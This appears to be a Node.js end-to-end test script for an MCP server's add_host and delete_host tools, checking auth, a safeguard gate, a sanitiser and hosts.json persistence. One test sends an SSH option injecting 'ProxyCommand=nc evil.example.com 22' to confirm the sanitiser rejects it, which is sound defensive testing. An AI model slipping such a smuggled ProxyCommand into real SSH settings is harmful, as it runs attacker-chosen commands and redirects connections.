#!/usr/bin/env node // PR-4 end-to-end verifier — drives the MCP server's add_host / delete_host // tools through the real HTTP transport so we exercise: bearer auth, // safeguard gate, sanitiser, dispatcher, frontend handler, hosts.json write. // // Run from D:\dev\tiletopia with: // node scripts/pr4-verify.mjs import { readFileSync, writeFileSync } from "node:fs"; import { join } from "node:path"; const APPDATA = process.env.APPDATA; if (!APPDATA) throw new Error("APPDATA env missing — run from a Windows shell"); const CFG_DIR = join(APPDATA, "com.megaproxy.tiletopia"); const MCP_CFG = JSON.parse(readFileSync(join(CFG_DIR, "mcp.json"), "utf8")); const POLICY_PATH = join(CFG_DIR, "mcp-policy.json"); const HOSTS_PATH = join(CFG_DIR, "hosts.json"); const URL = `http://127.0.0.1:${MCP_CFG.port}/mcp`; const TOKEN = MCP_CFG.token; let sessionId = null; let nextId = 1; // Parse a chunk of Server-Sent Events. Returns the *last* "data:" payload // (parsed as JSON) that matches the message id we expect — sufficient for // request/response calls. rmcp's streamable HTTP sends one event per RPC. function parseSse(text, wantId) { const lines = text.split(/\r?\n/); let last = null; for (const line of lines) { if (!line.startsWith("data:")) continue; const payload = line.slice(5).trim(); if (!payload) continue; try { const obj = JSON.parse(payload); if (obj.id === wantId) return obj; last = obj; } catch (_) { /* skip */ } } return last; } async function rpc(method, params, { notification = false } = {}) { const id = nextId++; const body = notification ? { jsonrpc: "2.0", method, params } : { jsonrpc: "2.0", id, method, params }; const headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Authorization": `Bearer ${TOKEN}`, }; if (sessionId) headers["mcp-session-id"] = sessionId; const res = await fetch(URL, { method: "POST", headers, body: JSON.stringify(body), }); if (notification) return null; if (!res.ok) { const text = await res.text(); throw new Error(`HTTP ${res.status} ${res.statusText}: ${text}`); } const sid = res.headers.get("mcp-session-id"); if (sid && !sessionId) sessionId = sid; const ct = res.headers.get("content-type") || ""; const text = await res.text(); if (ct.includes("text/event-stream")) { const parsed = parseSse(text, id); if (!parsed) throw new Error(`no matching SSE response for id=${id}: ${text}`); return parsed; } return JSON.parse(text); } function summarise(rpcResult, label) { if (rpcResult.error) { console.log(` ${label}: ERROR -> ${rpcResult.error.message || JSON.stringify(rpcResult.error)}`); return rpcResult.error; } const content = rpcResult.result?.content ?? rpcResult.result; console.log(` ${label}: OK -> ${typeof content === "string" ? content : JSON.stringify(content).slice(0, 200)}`); return rpcResult.result; } async function callTool(name, args) { return rpc("tools/call", { name, arguments: args }); } function readPolicy() { return JSON.parse(readFileSync(POLICY_PATH, "utf8")); } function writePolicy(p) { writeFileSync(POLICY_PATH, JSON.stringify(p, null, 2)); } function readHosts() { return JSON.parse(readFileSync(HOSTS_PATH, "utf8")); } // ----------------------------------------------------------------------------- console.log(`MCP URL: ${URL}`); console.log(`Token: ${TOKEN.slice(0, 12)}…`); // Step 0: initialize. const init = await rpc("initialize", { protocolVersion: "2024-11-05", capabilities: {}, clientInfo: { name: "pr4-verify", version: "1.0" }, }); console.log(`session id: ${sessionId}`); console.log(`server: ${init.result.serverInfo.name} ${init.result.serverInfo.version}`); await rpc("notifications/initialized", {}, { notification: true }); // Step 1: tools/list — verify add_host + delete_host are present. const list = await rpc("tools/list", {}); const toolNames = list.result.tools.map((t) => t.name).sort(); console.log(`tools: ${toolNames.join(", ")}`); const hasAdd = toolNames.includes("add_host"); const hasDel = toolNames.includes("delete_host"); if (!hasAdd || !hasDel) throw new Error("add_host or delete_host missing from tool list"); // Snapshot state for restore at the end. const originalPolicy = readPolicy(); const originalHosts = readHosts(); console.log(`\nbaseline: ${originalHosts.length} host(s), allowAddHost=${originalPolicy.sshSafeguards?.allowAddHost ?? false}`); // ----------------------------------------------------------------------------- // TEST 1: Refusal path — safeguard off → "add-host-disabled". // ----------------------------------------------------------------------------- console.log("\n[1] add_host with safeguard OFF — expect add-host-disabled"); // Make sure safeguard is off + add_host is in allow bucket so we test the // safeguard gate, not the confirm modal. writePolicy({ ...originalPolicy, permissions: { ...originalPolicy.permissions, allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])), }, sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowOpenSsh: false, autoAllowSpawnedSsh: false, allowAddHost: false }, }); const t1 = await callTool("add_host", { hostname: "pr4-test.example.com", label: "PR-4 verify" }); summarise(t1, "T1"); if (!t1.error || !/add-host-disabled/i.test(t1.error.message || "")) { throw new Error("T1: expected 'add-host-disabled' error, got: " + JSON.stringify(t1)); } console.log(" T1 PASS — safeguard correctly refused"); // ----------------------------------------------------------------------------- // TEST 2: Sanitiser — flip safeguard on, send ProxyCommand → reject. // ----------------------------------------------------------------------------- console.log("\n[2] add_host with ProxyCommand in extraArgs — expect sanitiser rejection"); writePolicy({ ...originalPolicy, permissions: { ...originalPolicy.permissions, allow: Array.from(new Set([...(originalPolicy.permissions.allow || []), "add_host", "delete_host"])), }, sshSafeguards: { ...(originalPolicy.sshSafeguards || {}), allowAddHost: true }, }); const t2 = await callTool("add_host", { hostname: "pr4-evil.example.com", label: "PR-4 evil", extraArgs: ["-o", "ProxyCommand=nc evil.example.com 22"], }); summarise(t2, "T2"); if (!t2.error || !/ProxyCommand/i.test(t2.error.message || "")) { throw new Error("T2: expected sanitiser to reject ProxyCommand, got: " + JSON.stringify(t2)); } console.log(" T2 PASS — sanitiser correctly rejected ProxyCommand"); // ----------------------------------------------------------------------------- // TEST 3: Happy path — clean args → success + verify hosts.json. // ----------------------------------------------------------------------------- console.log("\n[3] add_host with clean args — expect success + hosts.json gets +1"); const beforeHosts = readHosts(); const t3 = await callTool("add_host", { hostname: "pr4-test.example.com", label: "PR-4 verify", user: "claude", port: 2222, extraArgs: ["-o", "ServerAliveInterval=30"], }); summarise(t3, "T3"); if (t3.error) throw new Error("T3: expected success, got: " + t3.error.message); // Backend wraps the inner result JSON in a content array; parse it out. let newHostId = null; const t3Payload = t3.result.content?.[0]?.text ? JSON.parse(t3.result.content[0].text) : t3.result; newHostId = t3Payload.hostId; console.log(` new hostId: ${newHostId}`); // Allow the frontend's setHosts → saveSshHosts to land. await new Promise((r) => setTimeout(r, 400)); const afterHosts = readHosts(); if (afterHosts.length !== beforeHosts.length + 1) { throw new Error(`T3: hosts.json count went ${beforeHosts.length} → ${afterHosts.length}, expected +1`); } const added = afterHosts.find((h) => h.id === newHostId); if (!added) throw new Error(`T3: hostId ${newHostId} not found in hosts.json`); if (added.hostname !== "pr4-test.example.com") throw new Error("T3: hostname mismatch"); if (added.user !== "claude") throw new Error("T3: user mismatch"); if (added.port !== 2222) throw new Error("T3: port mismatch"); if (!added.extraArgs || added.extraArgs.join(" ") !== "-o ServerAliveInterval=30") { throw new Error("T3: extraArgs not persisted correctly: " + JSON.stringify(added.extraArgs)); } console.log(" T3 PASS — host saved with all fields intact"); // ----------------------------------------------------------------------------- // TEST 4: delete_host — verify cleanup. // ----------------------------------------------------------------------------- console.log("\n[4] delete_host on the new host — expect hosts.json back to baseline"); const t4 = await callTool("delete_host", { host_id: newHostId }); summarise(t4, "T4"); if (t4.error) throw new Error("T4: expected success, got: " + t4.error.message); await new Promise((r) => setTimeout(r, 400)); const finalHosts = readHosts(); if (finalHosts.length !== beforeHosts.length) { throw new Error(`T4: hosts.json count went ${afterHosts.length} → ${finalHosts.length}, expected ${beforeHosts.length}`); } if (finalHosts.find((h) => h.id === newHostId)) { throw new Error(`T4: hostId ${newHostId} still in hosts.json`); } console.log(" T4 PASS — host removed"); // ----------------------------------------------------------------------------- // Restore original policy. // ----------------------------------------------------------------------------- writePolicy(originalPolicy); console.log(`\nrestored: mcp-policy.json (allowAddHost back to ${originalPolicy.sshSafeguards?.allowAddHost ?? false}, allow bucket reverted)`); console.log("\nALL TESTS PASS ✓");